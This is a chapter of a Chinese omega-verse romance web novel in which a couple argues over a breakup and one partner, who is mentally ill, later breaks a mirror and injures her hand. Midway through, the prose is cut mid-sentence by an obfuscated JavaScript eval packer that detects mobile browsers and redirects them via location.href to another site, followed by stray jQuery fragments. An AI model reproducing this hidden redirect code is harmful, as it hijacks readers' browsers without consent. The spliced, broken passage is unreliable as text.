91. 发病

作品:《病弱omega对我强取豪夺

    程诺慌乱的亲吻被纪溪偏头躲开。


    纪溪咬着下唇不愿发出声音,可眼泪却怎么也止不住,她埋进程诺的颈窝,汲取着她身上的气息。


    程诺的手还被她紧紧攥着,贴在温热的胸口。


    “别哭……”程诺的声音也哑了,带着无措和心疼,“纪溪,看着我……你看着我好不好?”


    可纪溪只是摇头,将脸埋得更深了。


    黑暗成了她最后的掩护,也成了程诺最深的煎熬。


    颈肩的湿润让她后知后觉地意识到,自己刚才的话有多伤人。


    她自以为是的“为她好”,却成了扎在她心上最深的一根刺。


    程诺放弃去擦那似乎流不尽的泪,紧紧地把人抱在怀里,嘴唇贴在她的耳边一遍又一遍跟她道歉。


    过了许久,纪溪的抽噎声小了些。


    她推了下程诺,沙哑的声音听上去有些别扭,“放开我。”


    程诺没动,反而更用力地抱紧她。


    纪溪去扯她的手,“你不要以为这样就算了,你刚刚说的话真的让我很难过。”


    分别了将近半年,不和她通讯,也不给她写信,她唯一能了解到她近况的途径只有那几张图片。


    总算回家了,什么话都不说,还用信息素引诱她,完事了就要分手——纪溪从来没有遇见过这么坏的人。


    在那一瞬间,纪溪甚至觉得程诺比鹿齐岳还渣!


    可是她现在又不能真的和她吵架。


    纪溪捏着那细瘦的手腕,在心里反反复复告诉自己,她生病了,不能凶她,要耐心一点,好好和她谈谈……


    在纪溪的坚持下,程诺松开了双臂。


    “对不起……”


    程诺的声音很轻,她低着头,不停地向纪溪诉说着她的歉意,“我不想让你难过,只是我现在的状况让我没有办法像以前一样和你相处。我可能会做出很不好的事,甚至会伤害到你……你和我在一起会很累,我不想让你那么辛苦,我也不想让你看到我不好的一面。”


    程诺没说的是,她更怕纪溪在朝夕相伴中心生厌倦。


    这太正常了。


    再浓烈、深刻的爱意也抵不过日复一日的磋磨。


    程诺了解纪溪。


    她知道纪溪并不是一个有耐心的人。


    从小的生活环境决定了她的性格,她并不需要去观察别人的脸色、揣摩她人的喜好,她想要什么都可以得到,世上所有的路都蔓延到她脚下,等待着她的选择。


    这个世界对她是友善的。


    因此,她的骨子里是高傲的。


    她平日里对程诺有求必应、纵容宠溺,不仅是因为爱,或许还夹杂着一丝对所属物的满意。


    她满意程诺给她的回应。


    只是纪溪粗暴地将这一切都归结于“爱”,她认为只要两情相悦就可以克服任何难关。


    可程诺明白,这不够,远远不够。


    如果爱真的能抵万难,要法律做什么?


    等到她发病时,不再给予纪溪任何回应,那时,纪溪还会像现在这样执拗吗?


    第一次或许会。


    那第二次,第三次……第一百次呢?


    她还会期待从她身上得到回应吗?


    那双凤眸看向她时,眼底浮现的究竟是爱怜还是烦躁?


    当她褪去外衣,露出满是疤痕的身体,她还会对这具躯体产生欲望吗?


    程诺知道,纪溪是一个很有责任心的人,无论结果如何,她都会对自己负责。


    只是等到时过境迁,两人同床异梦时,她会不会后悔今天的选择?


    程诺不确定,也不敢赌。


    “你凭什么替我做决定?”


    纪溪用力地擦去脸上的泪,“累了我不会说吗,我难道是哑巴吗?什么不想伤害我,你现在就已经伤害到我了!我知道你在担心什么。”


    大概是一直光着有点凉,纪溪摸黑把自己的睡衣从程诺腿下扯出来披上,继续说:


    “这段时间我学习了很多这方面的知识,还考了个证,虽然比不上专业的人,但也不是一窍不通。你之前说过,如果一定要敞开心扉,那个人只会是我。那你就给我一个机会啊!你不相信我的话,那我就用行动来证明。”


    “你别总把为我好挂在嘴边,我有自己的判断。如果非要分手,我情愿和你一起痛苦!”


    程诺被她这番话震得哑口无言。


    她没有想到纪溪会默默地做了这么多……


    “我……”程诺绞着手指,迟缓了半天才开口,“我没有要分手,我只是想暂时分开一段时间……”


    纪溪哼了一声,“连个人影都见不到,那和分手有什么区别?我才不要异地恋!”说完还重重地捶了下床。


    话音落下后,程诺许久没再吭声,屋内再次陷入寂静。


    纪溪已经平复好心情,她悄悄地摸上程诺的手,小声问:“现在可以开灯吗?”


    黑暗中,纪溪听到她嗯了一声。


    纪溪咧开嘴,抬手打了个响指,壁灯依次亮起,根据时间智能调节为暖黄的光线。


    但在看到程诺脸上的泪痕后,纪溪愣住。


    程诺轻吸一口气,睫毛湿漉漉的黏在一起,声音听起来却没有异样,“我可以先涂药,但如果一直没有好转,我要去做手术,你不能再拦着我。”


    纪溪知道她已经再让步了,不能逼得太紧。


    “好,我们用最好的药,三个月……”纪溪指腹摩挲着她的手背,跟她商量着,“如果在年前还没有好转,我陪你去做手术,你不要偷偷地离开。”


    “好。”程诺这次答应得很干脆。


    纪溪趁机把她抱住,亲亲她的眼睛,低头蹭了蹭鼻尖,“宝宝,对不起啊,我刚才说了不好听的话,你不要往心里去,我特别特别爱你的……”


    程诺被她这一连串亲昵又带着点撒娇意味的举动弄得一怔。


    纪溪向来如此,她道歉的时候不会用华丽的辞藻修饰,听起来直接又笨拙,却让程诺心软。


    “……我知道。”


    程诺的声音闷在她的肩头,像是一声喟叹,“我也有错,不该一回来就跟你说这种话。”她顿了顿,补充道:“纪溪,我也爱你。有些事不像你想象的那么简单,我要你答应我,如果觉得辛苦,就立刻停手,按我说的做。”


    程诺并不是第一次发病,她知道那种状态有多煎熬,她不想让纪溪抱有太大的幻想。


    目前她能想到最好的选择,就是独居,让她自我调节。


    但纪溪肯定不愿意,那程诺也可以退一步。


    住院接受治疗。


    只是治疗过程,她不希望纪溪旁观。


    只要她答应留下来,纪溪什么都听她的,“可以,但你不能再替我做决定了。”


    纪溪抱着她躺下来,掀起薄被盖在两人的身上,她望着那双湿润的眼睛,指尖轻点她的鼻头,


    “把你对我的喜欢挪一点点,让你对我的信任多一点点,好不好?”


    程诺望着纪溪近在咫尺的眼睛。


    那双凤眸在暖黄的光线下,褪去了平日的锋芒,只剩下小心翼翼的期盼。指尖点在鼻尖的触感很轻,带着一丝微凉的痒意,眼眶却莫名地发酸。


    她可以给她想要的答复。


    程诺早已习惯用谎言修饰她


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16874285|184737||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    的目的,只是一个回答而已,对她来说不算难事。


    可是她不想再欺骗一个这么在意她的人。


    她沉默了很久,久到纪溪眼底的光都微微黯淡下去,以为又会得到一场漫长的僵持或委婉的拒绝。


    然后,程诺极轻地,点了点头。


    湿濡的脸颊轻轻地贴上纪溪的肩膀,程诺闭上眼,“……我尽量。”


    但这对纪溪来说已经够了。


    她的嘴角扬起一个带着傻气的笑容,她飞快地在程诺脸上啄了一口,“好!”


    又默了一会,纪溪拍拍她的后背,眼神有些飘忽,“宝宝,我可不可以再问一件事?”


    “嗯?”


    “就是,你说的状态不好到底是什么状况?我感觉你的情绪一直都挺稳定的,”


    纪溪和精神科的专家了解过,对方根据程诺吃的药,凭借多年的经验给了一份模板,但纪溪看了之后发现没一个对得上。


    什么暴力行为、自残自杀、反社会人格……这些程诺一个都没有,纪溪根本无从下手。


    程诺的身体明显僵了一下,贴在纪溪肩头的脸颊微微移开,但没有完全离开。


    她沉默着,似乎在思考如何回答,或者……在犹豫要不要回答。


    纪溪感觉到她的僵硬,立刻后悔自己问得太急,“我不是逼你,宝宝,你不想说就不说。我只是……想多了解一点,想知道该怎么更好地陪着你。”


    “你能感觉到的。”


    程诺将她的手放到腰间,紧紧地贴着她,沉闷的声音让纪溪感到一丝不安,


    “我现在的状态就很不好。”


    你这样说,我就更不懂了呀……


    纪溪心里疑窦丛生,但不敢再多问,像往常一样拍拍她的后背,哄她睡觉。


    一周后,纪溪明白了程诺的意思。


    在精神状况越来越差前,程诺出面回应了外界的传闻,并且借用纪溪为她编造的理由,明确委托副董事在她离开的这段时间里代行职权。


    广元的事处理完后,她突然回了趟e市,拜访完高中数学老师,又去了趟医院。


    程惠仍在昏迷,不过纪溪安排的人照顾得很好,面色红润,仿佛下一秒就会醒来。


    程诺单独在里面呆了半小时。


    出来后,纪溪盯着她看了好一会,确定没哭才放心。


    紧接着两人返回S市,今天刚好是乐宝的六岁生日,大家一起在老宅给幼崽庆生,玩得很开心。


    程诺的一切表现都很正常。


    这也让纪溪放松了警惕。


    直到第二天早上,还在熟睡中的纪溪被一阵玻璃破碎声吵醒。


    她睁眼一看,发现身边空荡荡的。


    伸手一摸,床上早就凉透了。


    纪溪的心猛地一沉,几乎是弹坐起来,也顾不上穿鞋,赤脚踩在地板上顺着声音的来处跑去。


    浴室的门虚掩着,透出明亮的灯光和一丝……若有似无的血腥味。


    “程诺!”纪溪的声音带着自己都没察觉到的颤抖,猛地推开门。


    眼前的景象让她呼吸一滞。


    程诺穿着睡袍,左手不停地往下滴血,洗漱台上的镜子碎了一地。


    她的肩膀微微耸动,呼吸有些急促,听到纪溪的声音后,她缓缓转过身。


    漆黑的眼睛似乎在盯着她,却又好似没有聚焦,眼神里看不到一丝温情,仿佛面前站着的不是同床共枕的爱人,而是有着血海深仇的仇人。


    纪溪咽了口口水,刚要上前,程诺比她快了一步。


    她被推出浴室,门被程诺反锁。


    很快,里面再次响起打砸声。